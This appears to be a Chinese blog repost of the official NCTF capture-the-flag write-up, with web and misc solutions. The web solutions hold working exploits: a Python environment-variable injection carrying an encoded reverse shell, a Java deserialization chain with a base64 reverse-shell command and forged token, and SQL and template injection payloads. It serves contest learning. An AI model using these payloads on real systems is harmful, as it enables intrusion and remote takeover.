NCTF
本文最后更新于 422 天前,其中的信息可能已经有所发展或是发生改变。

官方 wp,太菜了,基本不会,就没怎么做

Web

calc / calc_revenge

题解

  • 预期
这个题是在p神写了那篇环境注入的文章后不久发现的一个利用。当时仔细想了一下其他语言中是否也存在这样的问题,有没有可能也造成rce。在看完python3的system具体实现后发现最后调用的位置,也是通过/bin/sh -c去执行的命令
calc
  • python 中将环境变量作为 dict 存储,赋值/覆盖达到目的
# 利用 for 循环赋值变量

a = 0
for a in [1]:
    pass

print(a)
# a = 1
  • 绕过空格过滤列表生成式
a = 0
[[str][0]for[a]in[[1]]]
print(a)
# a = 1
# 本地测试不通
# 字典可以
a = {'test': "aaaaa"}
[[str][0]for[a]in[[1]]]
print(a)
# a = {'test': 1}
  • 添加环境变量
import os

# os.environ["TEST"]
[[str][0]for[os.environ["TEST"]]in[["testtest"]]]
print(os.environ)
# {"TEST": "testtest"}
calc
calc
  • 绕过关键词设置环境变量
目标: os.environ['BASH_FUNC_echo%%']='() { id; }'

[[str][0]for[os.environ["BASH_FUNC_echo%%"]]in[["() { id; }"]]]
  • [[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { id; }']]]我们可以回顾一下python的ssti相关绕过的知识,只要是字符串通过引号包裹的都可以通过16进制去绕过关键词的检测,所以我们只需要把后面引号中的字符全部16进制编码就好
  • 接下来的关键点就是在于如何绕过os的waf,这个关键词没有引号包裹无法用进制去绕过。
但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如ᵒ来代替o,从而绕过限制。所以在全部的碎片都被我们找到后我们就可以拼出这题的exp
[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]

# 反弹shell:() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}

ezbypass

题解

  • 根据 waf 名字查询
?id=@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.

ezjava

题解

  • 这个题是dubbo的原生利用,因为dubbo依赖自带fastjson,因为fastjson的toString可以触发任意的getter方法,然后使用unixPrintServiceLookup就可以rce
  • 这个类中会判断打印机服务,我们一般的mac,linux存在打印机相关驱动的话会导致不走rce的if,但是在服务器类(特别是docker)一般没有该驱动,就会触发rce。然后前半段的验证其实是一个经典的密码学问题,dsa的签名问题。和CVE-2022-21449这个cve的原理差不多,没有检查关键变量是否为0,导致1,0可以直接绕过整个检测
  • poc
public static void doPOST(byte[] obj) throws Exception{
        HttpHeaders requestHeaders = new HttpHeaders();
        requestHeaders.set("Token", "eyJBbGliYW5hbmEiOiJXZWxDb21lVG9OQ1RGMjAwcCIsImlzcyI6IlB1cGkxIn0=.1.0");
        requestHeaders.set("Content-Type", "text/plain");
        URI url = new URI("http://127.0.0.1:8080/object");
        HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

        RestTemplate restTemplate = new RestTemplate();
        ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
        System.out.println(res.getBody());
    }
public static void main(String[] args) throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
        Tools.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
        Tools.setFieldValue(unixPrintServiceLookup, "osname", "Pupi1");
        String cmd = ";bash -c '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3h4eDwmMQo=}|{base64,-d}|{bash,-i}'";
        Tools.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("Pupi1",unixPrintServiceLookup);

        XString xString = new XString("Pupi1");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",jsonObject);
        map1.put("zZ",xString);
        map2.put("yy",xString);
        map2.put("zZ",jsonObject);

        Object o = makeMap(map1,map2);
        doPOST(Hessian2Serializer.serialize(o));
}

ez_java

题解

  • CVE推送看到的CMS后台任意文件上传,简单看了一下发现前台可以直接RCE。
  • 预期的做法是通过ajax.php的diy_save的文件写入,但是忘记修改cookie的默认密钥造成可以在伪造cookie后通过文件包含上传文件造成了非预期
  • payload
/ajax.php?fun=diy_save&tpl_file=["aya/template/default/header.html"]&diy={"t":["t","b98ca3bae0de94438ac693d1a16b9ca5_0","{\"pars\":\"t\",\"name\":\"t',''}{system('cat /flag')}{\"}"]}

ez_sql

题解

  • deno的day,和去年出的ez_sql有点像。
两个问题:
一是SQL语句build的方式。
二是参数注入后列名中会产生带有引号的不存在的列名。
SQLite where子句中的in()会被忽略,利用这一点可以解决第二个问题。
第一个问题通过源码不难发现在生成最终的SQL语句时,使用了?作为占位符,因此可以通过在列名中传入?造成注入。
  • payload
http://81.70.155.160:3000/flight??=`in()%20union%20select%202333,flag%20from%20flag;

Misc

signin

题解

  • 输入上下下左右左右ba,缩小字体,即可

qrssssssss & qrssssssss_revenge

题解

  • 非预期解:时间排序后扫码再手动去除冗余数据得到大致的flag,然后爆破
  • 预期:这题是通过二维码data-masking的顺序来排flag里字符顺序的,大致是:L0~7 M0~7 Q0~7 H0~7
  • 搜了一大圈没搜到好用的脚本,于是手动写了一个识别的,具体就是识别右边标记位的黑白顺序然后比对一下
from PIL import Image
from pyzbar.pyzbar import decode
import os

def maskanalysis(img):
  sign=''
  for ii in range(510,670,20):
    pi=img.getpixel((ii,170))
    if(pi==0):
      sign+='1'
    if(pi==255):
      sign+='0'
  return sign

def scanqr(img):
  decocdeQR = decode(img)
  return decocdeQR[0].data.decode('ascii')

qrlist=os.listdir(r"C:\Users\16334\Desktop\qrssssssss_revenge")
flag=[0]*32
masklist=['11000100','11110011','10101010','10011101','00101111','00011000','01000001','01110110','00010010','00100101','01111100','01001011','11111001','11001110','10010111','10100000','01011111','01101000','00110001','00000110','10110100','10000011','11011010','11101101','10001001','10111110','11100111','11010000','01100010','01010101','00001100','00111011']
for i in qrlist:
  img=Image.open(r"C:\Users\16334\Desktop\qrssssssss_revenge\{}".format(i))
  qrmask=maskanalysis(img)
  for j in range(32):
    if(masklist[j]==qrmask):
      flag[j]=scanqr(img)

print(''.join(flag))

炉边聚会

题解

  • 搜索石传说编码规则
  • exp
fflag=['10001100','00000110','10011110','00000101','11001000','00000110','10111100','00000101','11001110','00001001','11010000','00000101','11110010','00000111','11001010','00000111','11110100','00001000','10001000','00001001','10010000','00001000','10111110','00000110','10001000','00001001','11010110','00001000','11001100','00001000','11110010','00000111','10110110','00000111','10011110','00000101','11100000','00000011','11101000','00000111','11110010','00000111','10110110','00000111','10111110','00000110','11100000','00000011','11100000','00000011','11100000','00000011','10110110','00000111','10111100','00000101','10010010','00001001','11001100','00001000','11001100','00001000','11111010','00000110','10110110','00000111','11110100','00001000','10011010','00001000','10111010','00000100','10010000','00001000','10001000','00001001','11110110','00000100','11100010','00001001','00000000','00000000']
for i in range(40):
    flag=fflag[2*i+1]+fflag[2*i][1:-1]+fflag[2*i][-1]
    fla=int(flag,2)
    fl=fla//10
    print(chr(fl),end='')
  • pip install hearthstone
from hearthstone.deckstrings import Deck

deck = Deck.from_deckstring('AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAi+BogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgA+AD4AO2B7wFkgnMCMwI+ga2B/QImgi6BJAIiAn2BOIJAAA=')

for card in deck.cards:
    flag_part = int(card[0] / 10)
    print(chr(flag_part), end='')

只因因

题解

zystego

题解

  • 图片尾部有压缩包,爆破密码:114514
  • 查看各通道,发现最后三列有问题,读取
from PIL import Image, ImageDraw
import struct
width = 515
height = 512
img=Image.open("fd.png")
a=[]
for i in range(height):
  for j in range(width-3,width):
    pi=img.getpixel((j,i))
    for k in range(3):
      a.append(pi[k])
print(a)
  • 根据各数字只以5 0结尾,联想二进制
from PIL import Image, ImageDraw
import struct
width = 515
height = 512
img=Image.open(r"C:\Users\16334\Desktop\fd.png")
a=[]
for i in range(height):
  for j in range(width-3,width):
    pi=img.getpixel((j,i))
    for k in range(3):
      a.append(pi[k])
for i in a:
    j=i%10
    if(j==5):
        print(1,end='')
    else:
        print(0,end='')
  • 提取出来的二进制直接每8位转字符,就可以得到盲水印脚本以及pgp加密的口令
import secret

丁真 = np.float32(cv2.imread(r"C:\Users\16334\Desktop\fadian.png", 1))

for i in range(64):
  for j in range(64):
    芝士 = randint(0,2)
    小马珍珠 = 丁真[:, :, 芝士]
    雪豹 = cv2.dct(小马珍珠[8*i:8*i+8, 8*j:8*j+8])
    if(secret[i*64+j] == '1'):
      雪豹[7,7] = 20
    elif(secret[i*64+j] == '0'):
      雪豹[7,7] = -20
    小马珍珠[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(雪豹)
    丁真[:, :, 芝士] = 小马珍珠

cv2.imwrite(r"C:\Users\16334\Desktop\fd.png", 丁真)
#a gift for you : %$#%$#jhgasdfg76342t
  • 还原脚本
from random import randint
import numpy as np
from math import *
import cv2

img = np.float32(cv2.imread("fadian.png", 1))
secret=open("secret.txt").read()

for i in range(64):
  for j in range(64):
    cho = randint(0,2)
    imgch = img[:, :, cho]
    dctt = cv2.dct(imgch[8*i:8*i+8, 8*j:8*j+8])
    if(secret[i*64+j] == '1'):
      dctt[7,7] = 20
    elif(secret[i*64+j] == '0'):
      dctt[7,7] = -20
    imgch[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dctt)
    img[:, :, cho] = imgch

cv2.imwrite("fd.png", img)
  • 大致就是先把原图分成若干8x8的块,然后在这个块上随机选择rgb通道中的一个进行dct变换,然后根据secret.txt里是1还是0来改变dct矩阵右下角的值,然后合并进原图,最后保存
import numpy as np
from math import *
import cv2

img = np.float32(cv2.imread(r"C:\Users\16334\Desktop\fd.png", 1))

for i in range(64):
  for j in range(64):
    for k in range(3):
      imgg=img[:, :, k]
      dctt = cv2.dct(imgg[8*i:8*i+8, 8*j:8*j+8])
      if (dctt[7,7] >= 10):
        print('1',end='')
      elif(dctt[7,7] < -10):
        print('0',end='')
  • 由于dct逆变换会导致一些损失,所以判断的地方选择了与10和-10进行比较,将得到的结果转一下就能得到一个压缩包了
  • 利用上面得到的pgp私钥和口令直接解密就可以得到flag

NCTF{zys_1s_s0_V3g3T@13lE_qwq}

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇